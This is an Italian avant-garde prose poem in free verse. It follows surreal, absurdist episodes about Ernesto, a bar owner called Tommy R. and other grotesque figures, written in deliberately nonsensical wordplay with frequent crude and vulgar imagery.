
superflua

oltre la misura

 Una catasta di pagine è sospesa all’albero della pastasciutta

I peli del naso arcuano tutti verso levante

dove il sole ha appeso ad asciugare le nuvole

Le tre anime aspettano da anni questo tempo

Novant’anni durante i quali annose solitudini hanno calpestato tutto ciò che c’era da calpestare

inclusa la terra

Durante i quali l’olezzo della carne bruciata ha lordato la parte intima dei pensieri

anche dello stomaco

Durante i quali è considerato lusso mondare i cenci della servitù glebea

 Il tempo s’è vestito di muffa

condom usati

arachidi e Tele d’aracna

 Le femmine delle tre anime sovrappongono le gambe sincronicamente

posizionandole come donne di Picasso

Vogliamo più tempo per rammendare la noia

Dice una con voce stentorea

Non vedono arrivare l’uragano dalla faccia plumbea alle loro schiene

Faccia piano

Dice la seconda donna della seconda anima

sempre stentorea ma con un punto e virgola in più

mentre in cucina miseri miserrimi scoreggiano del dopopranzo affumicato

fumando sigarette deodoranti

L’uragano turbina loro intorno

non li colpisce

va per la sua strada e non lo incontreranno più

Ernesto ne approfitta

s’issa di scatto

ottenebrato dall’ira evoca

il turpe

uno strampalato idioma postnaturale

All’inferno delle nuvole dove tutto appare postumo

qualcuno ha deposto fiori screziati

gialli con risposte di flanella e foglioline verdi

bagnate da punti interrogatori

maculati

con circonvenzione d’Incas

Ernesto accusa alieni brividi

ricolloca con premura le sue calzature da pagliaccio ricotta

si mette in funzione di riconversione

Il villaggio dov’è fuggito è lo stesso borgo dove vive la vecchia della vetta

intitolata anche Mammarinale

tutti gli edifici di codesto paese hanno colori perdenti

nel senso che durante la pioggia s’intenerisce loro il muscolo cardiaco

dissolvendo ogni lacrima colore

sul davanti hanno un giardino pendulo

con la stradina bianca di breccie bianche

di lato virgulti alberi dai frutti agroamari

e vicine misteriose appese avanti ad ogni porta

rossa

ordito lungo la siepe d’astrusa bontà

fluisce un silenzio appagante ornato frequente di pietà ricorrente

Lontano

bufali impazziti serpeggiano itineranti verso le loro anguste e refrigeranti tane

All’interno del paese

impercettibili spazzine invetrate

tinteggiano di lucro immensi soffitti biancheggianti

dove saltimbanchi prelibati schivano di lato malaffari ricorsi sociali

sorseggiando un caffè scoperchiando la ciarla di infami reminiscenze accidentali

 Caronte sta stuprando un fico d’India in questo giorno impermeabile

quando si rende conto di avere terminato gli obbrobri

va di corsa trafelando nell’orto

niente

Fa le scale due rampe alla volta per sgusciare in soffitta dalla porta del mascarpone

Niente

Torna nell’infero piano

in cucina cucina una pentola

guarda nella dispensa

la credenza è finita

la marmellata è scoppiata schizzando ammorbiditi frutti sulle membrane ottiche

Non sa più quali seppie pigliare

Nello sgabuzzo l’aguzzino perde il filo e signoramorte completa la lista

soia brillante

finita

mistico edulcorante

finito

virgole spazientite

finite anch’esse

fialette di nostalgia

due pacchi da cento ognuna

sono rimaste

forse

nascosta in un angolo un po’ di dolce brillantina a tavoletta

ma va di fretta

per di più gli va pure stretta

 la notte non dorme nulla

il pisello sotto il matarazzo è troppo duro

quel diodinverno ha bagnato il suo cuscino con lacrime cromatiche a bioritmi caleidoscopici

La fanfara suona all’ora di pranzo

l’amico vuole che seguisselo

Nessuno ha più dubbi

è molto scontroso mistificatore

all’occorrenza abbastanza appuzzolentente

 La cena della sera prima è stata un vero supplizio

fagioli nell’anticamera del cerebro

caffè in cantina dove i miti suonano il blast

poi continua con un sigaro in soffitta appollaiato sulla slitta di sego al rabarbaro

 nel giorno di festa

Mentre la fanfara suona

lui getta margheritine di primavalle sui passanti

i passanti ridono

oh! Come ridono

 Il supplizio si estende al mattino

quando per colazione

fatta come sempre sul suo letto misfatto

esige tè

caffè

latte suino

tutto macchiato

come il suo encefalo bacato

e rigorosamente

un succo di carote serafine

 Confesso di non sapere più quello che brama

ma di sicuro

un pensiero leggero gli vola intorno alle orecchi

ogni ora

ogni minuto

ogni secondo

ogni giorno in più che passa appollaiato sulle mie spalle comprimendomi le sfere

Un pensiero che non costa assolutamente nulla

un pensiero adrenalinico

attecchito alle sue membra come una radica loquace

lui lo chiama morte

 Fuori

il sole cade a brandelli sulle cose salvate

rimaste immobili dopo l’uragano

Le piante guardano

Parlano

tutto parla

tutto da il meglio di se

tutto accade

il fiume lo sta portando via

cerca di aggrapparsi a qualcosa

tutto si spezza tra le sue mani luride

Lascia che il vento gli pettini i capelli

taglia i capelli

gira le spalle al muro che gli da le spalle

vuole cedergli qualcosa

il muro

forse ce la fa

Perpetua

l’unica parola rimastagli vicina

anche lei sta fuggendo

Pessoa brucia sui fornelli

Niente in questo tedio giorno rimane

niente ha intenzione di restare in piedi

Tutto s’affloscia con due effe sulla sommità dei pensieri dubbi

Tutto seduce cancellando perspicaci bla mentali del cazzo

Allora senza rimpianti decide

Recide

scaglia alle ortiche le tonache del vento

non fanno altro che fargli rimpiangere quello ch’è stato

lo stato delle cose

Trafuga le ossa un dì di novembre

dall’ossario primario nella cappella della novena al Bambin Devastato

il picchiatello per intenderci

Strafatto di dottrine imposte se ne va il giorno stesso

Inseguendo la follia smarrita

Non ci sono più legami

spenge il cervello alle settunquarto smettendo così di direfarebaciare

Orbitano nell’aria pensieri effimeri

Qualcuno si rovescia dal quintunesimo piano di una grave malattia frettolosa

La graticola sfrigola all’estremità di una pozza d’acqua colorata diblù

mentre i monaci sono in ritiro spiritoso

Nessuno gli toglie dalla testa che prima o poi ce farà

è un pensiero fisso

Un pensiero fesso volendo

Qualunque persona mi dia del visionario

sarà appeso per le palle al cielo più alto di tutti i cieli

urla

 Ma Celestino non indossa nobili visioni stanotte

sennonché

con univerbazione e raddoppiamento sintattico

una gli pare degna di nota

l’orologio abbracciato al muro segnala un’ora qualsiasi

un’ora banale

la solita ora

una lacuna madornale per questi tempi di subbuglio ancestrale

 I minuti sono tanti

Svogliati e pedanti

li dispone delicatamente in una pentola verderame

vi versa dell’acqua diluita al punto giusto

con bromuro asettico ad effetto ritardante

Dopo un po’

Ne estrae una melassa

dolce

melensa

docile

inconsistente

e anche balbuziente in certi momenti della sua giornata

la spalma su tutte le pareti della stanza

otto in tutto

per adeguatezza ascetica del prototesto

la stanza si trasforma in un ciclone che spazza via tutti i suoi perché

tirandosi dietro anche i poiché

gli affinché i giacché i cosicché e i talché

i datochè sono indecisi

rimangonoo soltanto i percui

ma si sentono spaesati e oltraggiati dal frastuono stuprante dell’uragano

ormai gocciolante dall’albero delle titubanze

che da frutti obsoleti e intrinsecamente malversi

 Intanto

dall’altra parte dei colori

qualcuno batte a macchina astruse parole d’esplorazione

rimasugli di vita

argomenti mancati

stralci di petulanti angoscianti clisteri claustrofobici

 Con le forbici taglia tutte le “O”

buchi neri che risucchiavano i concetti

Qualcosa succede

lui non da niente per scontato

nei suoi occhi brilla una luce impetuosa

mirtilli neri calpestano le sue pantofole da mezzanotte

voragini color pelle verrucano le sue tre chiappe color amaranto

si sta accingendo a ingurgitare il suo esimo caffè bianco alla bambagia

quando un dubbio l’assale

 E se fossi pazzo?

 Nudo e antico

traslato al mar della tranquillità

quasi sonnolenza che divora ambiguità

fino alla fine della settima lunazione

Amorfo sistema di intravisione uterina differenziata sul tema natale

Ogni volta che apre le orecchie un verso famelico lo attanaglia

curvando in forse la sua ferrea volontà

Bighellonando sul piancito della mera crudeltà

affievolisce ognora la potenza del suo spazio vitale

Perdendo la ragione da il meglio di sé

Aggiunge acqua al fuoco prolifico e non trova più il verso

lo ha perso

nel mare dell’abnorme

guadagnando peraltro uno splendido nome

età

 La mia mente muta

Comincia a dire

Non cercatemi

non trovatemi

Per obliare principia a sorseggiare cappuccini salmastri nel monastero di Madre Tardiva

In altri ambienti

in altri frangenti

sarebbe indubbiamente riuscito a far smarrire le sue tracce

stavolta no

stavolta non sarebbe scappato

stavolta avrebbe sfidato la grande parabola

 Centodiecimila orsi ballerini cadono dalle nuvole

e perdono l’oriente

perdono

 Così

intorpidito nei pensieri più folli      

rinvigorito nella verde aura della saggezza a tempo

principia a cercare paziente negli spazi dietro l’angolo

il sipario si apre su nefaste visioni

su ancestri coglioni che valicano la notte in volo radente

l’aria riempie lo stato di cose mancanti

Prorompe nella stanza dei balocchi ma Alice non c’è più

ha perso l’ultimo treno per la colazione del mattino

si butta giù

Lo sconforto la guarda di soppiatto

il verde ha invaso i suoi bulbi

vicino all’amarezza è sopravvissuto solo un albume d’ovulo rinsecchito

Guardandosi indietro scorge l’autostrada per il futuro

non vuole più saperne di fighettare pei borghi con abiti sopraffini

certezze per i quali non trova più

Porta con sé una coperta di caldo profumo colorante l’accento mutante

Per niente al mondo avrebbe lasciato stare quel vecchio

che alla fine cesserà di pulsare comunque

Non pazienta più padelle unte in frigo

Anticorpi cruenti smaltiscono il pensiero

flirtano tra loro all’interno dello sfintere cerebrale

sposando l’antica causa del vello materno

procreando miseri petulanti spazio-frutti

guidati a distanza da ciò che si pone a lontananza del diverbio tra i sensi

silenti marciscono di vergogna

amara vergogna

 Se di più non si può lasciatemi fare

se di più non si può lasciatemi giocare

il gioco che per niente al mondo lascerei giocare ad altri

E lui

misero perdente

s’accinge a decollare

scomparendo nel buio colorato d’amaranto

spingendo verdi cammelli dalle gobbe flaccide e i capezzoli schifati

Ora o mai più

Pensa

Scrittura bollente cola dalle sue mani bianche d’avorio quasi lattice

Ricchezze celtiche

dardi salaci

sguardi pudichi

questo rimane nella sua larga borsa di mamma orsa

Adesso sono stanco

vorrei dormire sotto un albero di larghe vedute

in riva a un lago

in un giorno di maggio

Tracotante s’infuria

come belva rudemente pone

Qui giace

in onor di giusta causa

colui che non stanco di inversi fati

strappò il cuore al più alto degli altari

E nulla più

 Ora lui non ascolta

è immerso in pensieri sfilacciati

scollegati

nuvole in addensamento

Gli occhi fissi per sbaglio sopra i miei

riesco a vederli i suoi pensieri

come una proiezione olografica

una vestaglia da notte bucata

bianca con su spasmi filettanti

che cammina senza un corpo dentro

niente all’interno

fluttua

s’incendia

prende fuoco il sogno

diventa una pentola a pressione che fischia come un somaro

Fuori dai binari il treno

va a cozzare fragorosamente contro il nulla

che s’infrange come una vetrata

dove ci si sarebbe potuti specchiare le meningi incartapecorite

 Il sogno si trasforma di nuovo

chiudendo i rubinetti s’accorge di non avere più germoglianti spazio-frutti anodali

con inqualificabili viceversa intercambiabili

Tutto è buio ora

nessuno si vede più niente

però si sente con l’anima

il naso

le orecchie

che la grammatica sta stropicciandosi i tarzanelli

cercando uno sbocco fino alle emorroidi del mattino

quando il sole

a volte

fa capolino dalle perturbazioni melmose del suo encefalocranio

Di quì a poco ci sarà un acquazzone zozzone

Non sente più

il sogno si sta annebbiando

quindi più niente più

Si sveglia dal torpore

inaudito percorre a stivali

nudo

l’intera stanza

scartando gli angoli spigolosi

cercando minestre per vari arrotondamenti bicasuali

sulla percentuale onnivora dei carnivori cannibali e cannabinoidi

ortofrutticoli del mercato delle sei

Nega tutto

tranne il fatto di non essere nato

ma questo gl’inquirenti lo hanno già capito da anni

Il fragore di una mano sola esplode all’improvviso

prendendo a schiaffo il suo avvocato prediletto

che tiene come tappetino per gli ospiti da pranzo

quando arrivano le nuvole colorate di personaggi inquietanti

Per nulla al mondo gli faranno cazzare la randa

per una partenza limitrofa nei paraggi del pressappochismo di lì a poco

Nervi saldi ci vogliono

questo si

altrimenti i santi tutti ne approfitterebbero neisecolideisecoliamen

 Il grande condottiero apre la finestra che da sull’aia

c’è un esercito ad aspettarlo

quasi un milione e più e passa che scandisce cantilenando il suo nome

pressappoco così duepunti

Er-ne-sti-no

Er-ne-sti-no

E così via di seguito cantandolo

lui li riconosce tutti

giurotutti

di tutti ricorda il nome proprio di persona personale

e comincia a salutarli

u-n-o-p-e-r-u-n-o

Uga

Riccordo

Isiduro

Dedimo

Ulderetto

Vergina

Sgualtero

Gimma

Marpino

Piermaretto

Alby

Annibala

Bernadetto

Sigilfundo

Adinolfio

Rodomualdo

e tutti e tutti e tutti

Terminerà di salutarli due mesi dopo la battaglia decisiva per la conquista del Regno Munito

alla quale il suo esercito

naturalmente ovviamente

non prenderà parte perdendo percosiddire capra cavolo e fieno

ma tutto è perso fuorché l’odore

puzzano infatti tutti come lanzichenecchi imbanditi per il pranzo di maiale

 Vestiti a festa

per tutte le volte che hanno spalmato nutelle vergini sulla cresta terrestre a sud di Smirnefangulo

un ridente paesello ai confini con la Prostata

la regione appartenente al suo acerrimo nemico

rivale

avversario

nonché cannibale per suo gusto e abbellimento patriarcale dall’interno della porta di natale

dato che hanno perso pure le chiavi

Il cerchio si stringe presso le sei del mattino

si sveglia sul far tardi della sera presto

una ottima colazione con castagne seminude e via volando col vento

leggero come un macigno nel cesso

anticipando le mosse del suo futuro prossimo ventuno

 Si è spenta la sigaretta mannaggetta

Dice la ninfetta in bicicletta ritta sul manubrio davanti e coi fanali sgonfi

Questa notte i righelli sentenzieranno morte

Trangugiando d’un sorso il suo esimo wischi si accende un sigaro femmina

evacuando strane propulsioni cerebrali

 Finalmente il sole è al termine

è un lietofine stavolta

nessuno gli toglie dal pensiero che davvero sarebbe ora di tagliare la corda

appeso alla quale

Mandingo

sta esalando gli ultimi tratti

Mandingo

il loro cane nero

non è proprio quello che si dice un ottimo scrittore

ma non mi sembra proprio il caso d’impiccarlo

 Si sveglia

L’Ernesto

assaltando sopra percuote l’aria dinanzi a lui

medesimamente la porta con uno sdilinguo ansante batte

sbuca fuori immedesimando in un mazzo di fiori l’artefice dei suoi malanni alfabetici

che ovunque lo hanno perseguitato per una vita

forse due

 Huerto Jurtu Gonzales chiede il permesso d’entrare

l’altro nega perversamente dall’interno della sua comoda camicia di forse

che sempre abita nei giorni plumbei di luna vuota

ricordando le famose giornate magre della salita al potere di Pompeo Artefici

grandioso condottiero di pulman a metaprezzo mortadella inclusa

Lui

Huerto

entra di forza sfondando i ricordi

e non uscirà maipiù

Intrappolato da crudele fedeltà

intimorito da stralci di flussi rupestri

Jurtu

l’ergomante

sa subito cosa fare

si toglie i pantaloni

comincia a pulire terra

accanto a lui vicino

stanco e afflosciato

giace

pelle umana

riflessa dallo specchio di una vita quasi inutile

quasi stupida

quasi mediocre filastrocca dei tempi piccoli

pelle di una maschera usata

che avendo sporcato il piancito di grigia materia bigia

s’avvede

non piano

di avere sbagliato miscela logistica

 I raffreddori passeranno presto quest’inverno

il sole pare perfetto

La piramide al suo vertice si sta lentamente sciogliendo

Sgualcendo

l’orlo di nubifragi ancestrali ricorda che il peggio è quasi passato

ipotetiche vie d’affollamento cerebrale attendono

Dall’altra parte della coscienza intanto

nei mercati dei pesci piccoli

la folla si sta riempiendo di persone

misfattte e piene di loro stesse medesime

in parte

Qualcuno colpisce per sbaglio il bicchiere mezzovuoto

che per sbaglio cola strisciando nel bicchiere mezzopieno

provocando una reazione a catena all’interno della concezione di sé medesimo

ancora

un giardino di belle bevute

In fondo in fondo

quale mezzobusto si accorgerebb che lui è sì e no un alquanto capace rapace

pieno di mezzi se

ma

però

forse

chissà

Chi si accorgerebbe che non ha scarpe ai piedi

ma mezzitondi sfigati

scivolosi

smacchi

Qualcuno sta procedendo alla sua ventura

si sa

Altri miagolano di trapassi saltimbanchi con energrumi di sangue perdifiato

Ma

quale di loro è la vista più breve per arrivare al sole dei cechi?

 Per guadagnarsi la fiducia del fior fiore dei prevosti ci vuole Benaltro ci vuole

manco a dirlo

Benaltro arriva

a cavallo di un caval Donato

dondolante su sentieri erbosi

esplosi di praterie sconfinatamene combacianti con paradisi artificiosi di dubbio gusto

in onor di passata carriera e coll’orror della pace

micacazzi

 A quest’ora il calendario segna già le due e un quarto

in ritardo di due lunghissimi miserabili minuti sul treno delle nove

che trasporta bipedi molto sessuali

belanti sul perché del vagone ristorante

con nitrile alle poltrone e sacche per vomitanti assuefatti dal tempo

La sbarra si abbassa giusta giusta

sbarrando la stradina di campagna prima dell’arrivo della sua pornovettura da sorpasso virtuale

 Nella parte anteriore ha seni con capezzoli antinebbia e aureole allo iodio

Il tubo di scarico con precoci sfiati d’animo è solo fumo in più sulla strada

La sfiga all’interno del cervello pneumatico spompina rombando ogni volta che accende il motore

Di scoppio non se ne parla neanche

Ma la macchina va

gerundia antropofaga

con un occhio di riguardo per miliardi di percussioni monocromatiche

La sigaretta sì spenge

ancora

Magnitudini genuflesse di sigarette perpendicolari sono flesse sull’enorme specchio concavo

milioni di spasmi intestini intervallano sbraiti furibondi

mettendo sottosopra l’intero abitato della mente

per poi robotizzare tachicardie gonorroidali

anodialisi spaurite negli ospedali della grande pera

termodinopropulsioni

maniacali mimetizzazioni

mettono a soqquadro intere generazioni di pistilli

spavaldamente appollaiati sulla femmina di turno

Arcimboldo non da ascolto alle prestazioni armoniche

coinvolge anonimi omonimi di passaggio in paesaggi sprovveduti e sprovvisti di niente

 Flatulenza dell’essere

Il cammino è lento

la velocità appaga i suddetti spiriti

rimarchevoli

spergiuranti spergiuri

alcolisti benestanti conosciuti

L’oppio risolve le sue faccende pomeridiane

Alla terza ora del pomeriggio ha gli occhi lucidi per la commozione

ha visto nevicare al contrario

Subito si posiziona appostando il suo posteriore all’ombra dei suoi ridicoli dubbi

appestando l’aria con effluvi di satira psicoduodenale

inversamente proporzionale alla fugacità del tempo perso

Non s’è mai preoccupato di pensare certi pensieri

un tipo scaltro

senza grilli per la testa

che svolge la sua vita nei mausolei dell’ignoranza

I topi per signore

a spasso per la civiltà

prendono gatti da pelare

mentre patate bollenti stanno assiepate sui trumò dell’indifferenza

all’ombra del loro stesso sudore

 Rumori dal nulla

Crateri

infami solstizi

primavere inutili

cassette terminate

rewind

stringere l’avvenimento

I soliti ignoti fanno i militi davanti ai palazzi del potere

celebrando messe in suffragio

Silenzi addobbati di mistico candore dietro i quali si nasconde il vuoto

 La postilla cadente del prelato pelato lo scardina così dai suoi spensierati pensieri di mezzofondo

i piedi gli dolgono ancora

dopo l’insormontabile acrimonia della vergine otorinolaringoiatria

che termina il suo astioso lavoro scavando voragini profonde ai lati dei lobi degli apparati uditivi

in tempo per l’alba della mezzanotte e mezza

Stanco di una giornata di merda come non ne ha mai avute

Decide

è arrivata l’ora di far visita a quel vecchio uccellaccio moscio di Tommy R.

per gli amici

Thomas Raduno Girardi

 A quest’ora non c’è molta gente nel bar che ha l’aria di uno squallido locale sperduto

mentre è incastonato tra cinque grattachecche al centro della grande pera

Il legno ricopre quasi tutti i muri

completamente ammuffito

torto

Un manto di scacchi scozzesi

decorato da cicche spente e cicche masticate spiaccicate

tappezza l’intero piancito rendendo il lercio locale assolutamente sordido

Due grosse botti di legno scuro scoreggiano a stento

sotto una lunga spessa tavola di scolorito legno giallo

levigata da secoli di colossali sbornie storiche

unita ai bordi da farfuglianti sudori dell’ultima ora

lacrime rimpiante

lacrime rimorse

rimosse la sera dopo da un ulteriore carico alcolico

Tutto questo unito ai lati da due colonnine di finto marmo e finto stile

forma il banco del bar sopra il quale troneggia lui

Tommy R.

emigrato argentino per parte di madre e nonna a suffragio universale

un figlio di puttana di secondo grado

fuggito dal suo paese durante la guerra tiepida dell’ottantadue

è un tipico dal fascino attraente

riesce ad immergere strati di polifonica virtù in melma stravagante

per addetti ai lavori notturni senza un senso prettamente immediato

Il suo motto preferito è

Se vai in giro a mostrare i denti

prima o poi trovi sempre qualcuno che te li rompe

Nel senso che quantunq’io sia

primavera storia

massicciamente perduto

nei meandri della memoria del fottuto villaggio globale

in mezzo a tutte queste leggerissime merdine puzzolenti del cazzo

qualcosa di concreto sicuramente trova

come l’acqua del mare che evaporando lascia strati di sale

alterando gl’impulsi principali della mente bugiarda

che ci fanno vedere sempre la stessa persona allo specchio

la stessa per anni

identica ogni giorno

Poi guardi una foto e non sei più

  Meccanismi Cerebrali Primordiali

 Come farsi pipì addosso in cinque comode lezioni

anticipando i tempi

perdonando anzitempo il vecchio orologio a spronbattente che cavalca tempi immoti da tempi remoti giusto in tempo per la bava alla bocca di caramelle gustosissime al sapor di mutella

 Qualcosa mi sfugge

Dice l’uomo barbuto sedendosi sulla panca bianca di lacca bianca

vicino al bianco banco del bar

mentre Tomas Ray ricorda le tribolazioni passate

e di come è arrivato fin la

Col filobus

Dice

Sono arrivato finquà col filobus delle tre e mezza

  Vediamo cosa c’è all’interno di sittantacapoccia

Dice lo squamone all’altro interprete

perpendicolarmente riversato sul suofà ad ampia luce intestina

Si

Acconsente il secondo

non senza un certo malumore priapico

poiché lui ha una vertenza programmatica aziendalpsicoturistica in corso

Non hanno intenzione

questo è certo

di pretendere clitorifornimenti ad alte temperature

ma

ugualmente s’impadronisce di loro un’autentica giroletterarietà pneumatica

con pseudodivergenze adagiate ai piedi del midollo osseo

Scarso scarseggio

vezzeggio multiplo unidisciplinare

scrittura lineare di base

mistica adolescenziale sbiadita

ecco

questo era importante adesso

ricordare l’infanzia e poi dopo ancora su

su

fino ad un po’ più in là di adesso

Non è più capace d’avere visioni

Ci riprova

ancora

Gli ancestri coglioni sono appollaiati su due treppiedi a quattro zampe

accumulate in seguito a disastrosi conguagli mistico-temporali

 Non ha più ali

non ha più poesia

non c’è più rima

Ricordo

Visione

distorsione dalla sera prima

un minuto prima

un mese prima

Era

È

fù

rantola nel buio in cerca di lumi

 Dora Infischio non ha più capelli da mettere sotto i cappelli per i quali belli non si è mai

per giunta le scarpe gli stanno strette anche senza calzette

Prelibati stipettai ne raccolgono orsù che non flaccide membra

menan per l’aia cani abbandonati

strani musi da gatti abbastonati

 Lumache allupate sul far del giorno lo risvegliano

vola l’aquila dalla torre

non passano più le ore

fermo il tempo

non sventolano più bandiere

il vento s’è fermato

nevica

Fiocchi di parole

lettere analfabete

Cerca riparo all’ombra del sole

Perentorio lessico

De testabile arrogante

Presuntuosi logaritmi asimmetrici con pedanteria ambulante

Gli viene il dubbio che esista da solo

Lui

Percuote raucedini stilliformi

Pensierisalassi maniacali per patetici riflussi

Si manca

S’accorge di aver dormito per anni

Sa

è cosciente

ma non riesce assolutamente a svegliarsi

Languide carezze gli sfiorano il viso e pugni allo stomaco in un sorriso

Perturbazioni intraviscerali

atmosfere non pianificate

fretta di andare

freddo ad andare

bere

perdere

 Due soli splendenti si avvicinano zitti zitti

di nascosto alle stelle

da mille anni luce non sono più soli

  Mestruazioni aziendali

cavalcavia affollati da masturbatori incalliti

orecchie piene

naso pieno

vino senza volontà

senza paragoni

coglioni pieni

voglia di spremere

limoni finiti

saloni sbiaditi

immagini affrescate

Parole squamate

Colori lussureggianti sapori

scorticati da figure rozze e blasfeme

Non più Dio

Una commedia senza personaggi

Personaggi senza una commedia

Personaggio senza coraggio

Penso che lui faccia finta di niente

A volte

 tempo

illusione

crediamo di muoverci ma siamo immobili

fermi in un’immagine senza tempo

passato e futuro diluiti in una spremuta di presente senza zucchero

I server intasati della memoria

Ctrl alt canc

 Per un operatore così scaltro ci vuole un premio

un primo premio

un secondo per volta

un

due

tre

stella

Saltando i pasti

i posti intatti

inoculando malvagi pensieri sugli astanti

verosicchè

nessuno avrà più il coraggio di avanzare proposte oscene tipo

catturare passeri sopra una polenta indurita dal dolore

oppure

scorticare formiche per assaporarne il fegato

le guerriere sono le migliori

o

infine

finire il tempo prima che lo beva qualcun altro

e poi non c’è niente di speciale oggi sotto il cielo

Il leopardo dorme supino sommando le agnelle

 perché andare dove non c'è niente quando si può ardire l'inabitato non luogo?

  Rifletti

Gli dice uno specchio insozzato dal nulla

non se lo fa ripetere due volte

ribollendo di rabbia finalmente riesce a vedere coi propri occhiali

c’è erbetta ai lati della frase

verde con striature di sogno

due ciclamini gelsominizzati imprecano a perdifiato vicino a un tombino di riciclaggio

prendendosi a pedalate

un camomillo si avvicina a metter pace

ma pace non è

Sopracigli mandibolari spargono pulci nelle orecchi

vecchi pidocchi scolpiscono segmenti d’anguria melinata

risparmiata la sera prima del pranzo di cozze

con smorfie di secondo grado e stralci di luna sulla narice destra

Comecazzoèmorbida

Dicono in coro

finché non s’induriscono i cervelli

Michelazzo scompare di colpo prima che la rima lo afferri

scappa nella sua stanza per vedere se il paesaggio è pieno

Lo specchio è seno

che fermo riflette

Ruba fiori dal pranzo di notte

lì avvolge nel sacchetto della salsiccia al gorgonzola finita

li porta a casa dove lo aspettano

in ordine di comparizione

due ansiosi postulanti atermici

tre fagociti lessi alla brace di dolci lagrime saponate

un funnambulo con la coda di paglia

un tergiversatore stitico con la sua amica Floppy

detta la Strinfia

a causa delle sue voracità improvvise al basso ventre

Ad ognuno regala i suoi fiori rubati

sprofondando come un porco nel bel mezzo del banchetto dice

Salve

ho fame

non mangio maiale

sono ebromuskat

per gli amici Famok

Sono nato

sto fresco

Poi scappa di nuovo come un fuggivendolo perpetuo

Il bar è aperto anche a quell’ora tarda

Pollici a testa in giù spartiscono le ore appiccicatesi per l’occasione sulla parete opposta

Acqua viva

foglie quasi morte

Per lo spavento chiude le persiane e s’addorme

 Ho troppo sonno per parlare

ho troppo stanco per lavorare

poca fame da mangiare

  Piteto si chiama l’ultimo della fila dei banchi

Gli altri si chinano ad abbassarsi mentre lui passa

Sente affermare che verso le cinque del mattino

ci sarebbe stata una rivoluzione sul terzo pianerottolo

secondo lavandino a destra

Cambia colore immediatamente

da blu diviene color sorella di merluzzo

che invece abita nell’ultimo scantinato

in via dell’estinzione numero cinque

L’estintore frena le fregole

tutti s’innamorano del fronzuto

un rasoio ha affittato un avvoltoio di quarta mano dipinto di giallo

con codest’avvoltoio avvolge rimasti ricordi ammuffiti sul sofà

per rivenderli al mercato dell’indifferenza

Dodici piatti restano sorpresi nell’aria

quando entra improvvisamente sbattendo la maniglia sulla porta a vetri dietro l’angolo

Il tredicesimo

un traditore di lunga data

poiché non ha niente da fare

gli bacia il guanciale

gli bacia

per nulla intimorito gli pesta anche un dito

gli pesta

Questa notte avrebbe portato in tintoria i suoi sogni

  Dopo il risveglio banchettarono a suon di campane azzurre

quelle dei risvegli sempiterni

Moscia nel loro fegato da merluzzi

la scrittura corre avanti con ramoscelli appesi alle code per confondere le tracce

In un vicino boschetto di meandri

sostano opulenti strani alberi dall’aspetto agrodolce

ma dal sapore si capisce al volo che lascino un po’ a desiderare

un cesso

inmenchenonsidica

ma veloce che la pagina è finita

In man che non si abbia

a perdere le chiavi

dell’appuntamento

gradirei che la storia continuasse in altro sito

in altro loco

in altro tempo

magari domani sera all’alba prima di cena

senza scarpe mi raccomando

a casa di un mercante di merletti a tempo

Tom bussa alla porta ricadendo in deboli flussi di luce

poi immerge le dita nel campanello sbagliato

cominciando così la sua candida solfa

contribuendo ad aumentare i tanti cazzi per la testa

scrive parole di fuoco

per l’alma dorata di suo fratello deceduto nella guerra santa dei ricami prêt-à-porter

 Giallo

misericordia

è diventato giallo come un limone questo barbone

servitore delle leghe dell’alba malridotta

che s’abbotta da mane a sera d’aria macchia e fuliggine leggera

nera

con due palle così

Nessuno s’accorge di lui alla festa del lutto perduto

sono dieci

le ore che stanno aspettando per poter svolgere la bandiera col mezzofico

non si accorgono

ma arriva la sera

e perdiana se fa freddo

Con un freddo così c’è da restare per forza coi piedi per terra

Per terra c’è un luogo comune che dice

Come

E risponde anche

Non c’è più niente da fare

Ecco

ora finisce la minestra

E il saltimbocca fa un gesto da sordomuto

finendo la serata accartocciato sul trespolo dell’amore

e Gertrude è simpatica al primo sguardo

ma rimane di stucco ascoltando l’oceano

Da bere è finito già

l’aranciata è da trasformare in vino di coccio

Affrontando lo sguardo a viso aperto

è Tomas

che in mezzo al folto tira più di tutti

mentre l’universo è sfinito

troppe stelle da lavare

troppa merda da rifare

troppi buchi da tappare

Vetri in frantumi diffondono l’aurora e domani non c’è scuola

ne lavoro

né perdono

non permessi

niente sessi

solo fronzoli sconnessi

 Minuscole particelle programmate nell’attesa di un giudizio primordiale

conseguenze cosmiche di un assalto temporale

orifizi anali

contemplazioni oniriche

Ritmi cardiaci dilatati da un aeterna-mente by-pass sincopato

Streghe venture prossime

futuri anelli di contenzione

animati da scaltri difetti dionisiaci

specializzati in normalità relativa

Cosa aspetti

Disse Nero

A volare nelle fauci della verità

Dopo di cui si leva i laccetti che tengono legato il cervello

parte per nidi assolati

Inizialmente ha voglia di farfugli ma

loquacità e permesso aurifero fanno di lui la stanchezza in persona

Ogni volta sembra facile averla afferrata

Eccola qui

ci sono

ci sei

ti ho preso

il rubinetto è aperto

vai

Poi perde colpi

si rifugia in mandragole dorate

allori superflui arrostiti

immediatamente carbonizzati al calore insopportabile dell’incertezza

Menate di pasqua natale e ferragosto

lavoro lavoro lavoro

noia

Non t’abbandoni più a vivere

non vivi più d’abbandono

Cerchi cerchi cerchi

quadrati rettangoli piramidi

animismi superati

avariati avanzati

trigonometrie innocue

farfugliamenti tripponi

Poi

Dove andrai

Ci sei seduto sopra

schiacciando tutto il chidovequandocomeperchè

Perché

Perché tutto è nascosto

Perché tutto è offuscato da sparàgli circonvoluzionari del cazzo

acquartierati in fabbriche in disuso

disossati al termine d’un banchetto loquace di pasqua

a primavera dell’anno che morrà

Punto

Poi

dopo le dodici e quindici

sull’operato centrale nascerà un loggiato di tribali fortezze

di proverbiali mantidi e nefandezze varie

merda

Sotto il loggiato

quadrupedi galoppano accanto a siffatti volumi

s’abbeverano

sì nutrono

sì vestono

sì sparlano

si vergognano

sì svergognano

dopo aver mozzato teste di papaveri addormentati

sotto un cielo di diamanti cherubini

disfatti postumi

aspettando un muro cada addosso

senza il tempo di chiedere ancora una volta

per l’ennesima volta

perché

Scrivere abbattendo muri

virgole e punti

sono a posto

apposta per vergognarsi di noi con supposte presenze nefande

tendenze spericolate

passare al setaccio tutto

Tutto passare al setaccio

Orgoglio a malincuore

Ultradotati maschietti scoprono femminucce in tintarella abbinate a scarpe color cacca

ispirati sproloqui esplodono

Il Dio dell’iniquità provoca traumi insensati in tutto ciò che si muove

e spara a morte su false ipotesi

 Ikonos ha zampe di quaglia

le sue uova sono squagliate

Le luci accese del soggiorno danno la vaga impressione di essere sopra un disco nuotante

circondato da scomposte misurazioni trigonometriche

a fior di pelle

sintoassioamatiche liquefazioni

Chi è

Mi domando

